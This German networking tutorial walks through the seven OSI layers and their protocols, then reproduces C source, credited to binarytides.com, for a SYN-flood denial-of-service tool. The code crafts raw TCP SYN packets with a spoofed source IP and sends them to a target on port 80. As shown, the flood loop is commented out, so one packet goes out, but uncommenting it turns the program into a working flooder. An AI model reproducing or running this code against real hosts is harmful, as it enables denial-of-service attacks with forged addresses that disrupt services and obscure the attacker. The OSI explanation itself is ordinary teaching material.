Layer #7: Die Anwendungsschicht

Die Anwendungsschicht sorgt dafür, dass einzelne Anwendungen auf einem Computer mit dem Netzwerk kommunizieren können. Beispiel: Ein HTTP-Request eines Programms findet im Layer 7 statt.

FTAM, MHS, VTP, FTP, NFS, Telnet, SMTP, HTTP, LDAP, SSH, JTM

Layer #6: Die Darstellungsschicht

Die gesendeten/empfangenen Bits und Bytes werden in die richtige Kodierung formatiert. Das ermöglicht den syntaktisch korrekten Datenaustausch zwischen unterschiedlichen Systemen. In der Darstellungsschicht wird zeitgleich auch Komprimierungen und Verschlüsselungen (SSL) abgewickelt.

Protokolle: ISO 8822 / X.216, ISO 8823 / X.226, ISO 9576

Layer #5: Die Sitzungsschicht

Um vollständig alle Daten zu empfangen und zu senden muss eine Sitzung erstellt werden. Durch das RPC (Remote Procedure Call) Protokoll wird dafür gesorgt, dass die Verbindung nicht einfach so abbricht. Ansonsten kann es zu Fehlern bei der Übertragung und Datenverlust kommen.

Protokolle: ISO 8306 / X.215, ISO 8327 / X.225, ISO 9548

Layer #4: Die Transportschicht

Die Transportschicht dient zur Segmentierung des Datenstroms und der Stauvermeidung (engl. congestion avoidance). In Schicht Nummer 4 sind fünf verschiedene Dienstklassen definiert, welche von den oberen Schichten benutzt werden können (u.a. Fehlersicherungs- und Fehlerbehebungsverfahren).

Protokolle: TCP, UDP, SCTP

Layer #3: Die Vermittlungsschicht

Die Vermittlungsschicht sorgt für das Schalten von Verbindungen und die Weitervermittlung von Datenpaketen. Dies schließt die Wegsuche (Routing) zwischen den Netzknoten mit ein. Diese Schicht sorgt also für die Bereitstellung netzwerkübergreifender Adressen, sowie den Aufbau und die Aktualisierung von Routingtabellen.

Protokolle: IP, IPsec, ICMP, CLNP

Layer #2: Die Sicherungsschicht

Die Sicherungsschicht sorgt dafür, dass eine fehlerfreie Übertragung gewährleistet ist und regelt den Zugriff auf das Übertragungsmedium. Der Bitdatenstrom wird in Blöcke aufgeteilt und per Prüfsummen kontrolliert, so dass verlorengegangene Blöcke vom Empfänger durch Wiederholungsmechanismen erneut angefordert werden können.

Protokolle: Ethernet-Protokoll, HDLC, SDLC, DDCMP, IEEE 802.2, ARP, STP

Layer #1: Die Bitübertragungsschicht (engl. Physical Layer)

Die Bitübertragungsschicht ist die unterste Schicht. Diese stellt mechanische, elektrische und weitere Hilfsmittel zur Verfügung, um physikalische Verbindungen zu aktivieren, deaktivieren, aufrechterhalten oder Bits zu übertragen. Zu den Hilfsmitteln zählen u.a. elektromagnetische Wellen (WLAN), Lichtleiter oder Laser. Hierzu zählen z.B. der Stecker und die Buchse für das Netzwerkkabel, der Repeater und der Hub.

Protokolle: V.24, V.28, X.21, RS 232, RS 422, RS 423, RS 499

Jetzt seht ihr, was es für Protokolle gibt und welche Schichten bei der Übertragung verwendet werden. Beim SYN-Flood ist allerdings nur ein bestimmtes Protokoll von Bedeutung. Dieses steckt nach dem OSI-Modell im Layer #4 – in der Transportsschicht.

Quelle: binarytides.com
Sprache: C
Hinweis:

• Pakete per Wireshark o.ä. anschauen
• Es wird nur ein Paket gesendet
• Kein Support hier(!)

/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

typedef struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	//char tcp[28];
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ("192.168.1.2");	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr("192.168.1.2");
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!n");
	}

	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			printf ("errorn");
		//Data send successfully
		else
			printf (".");
	//}

	return 0;
}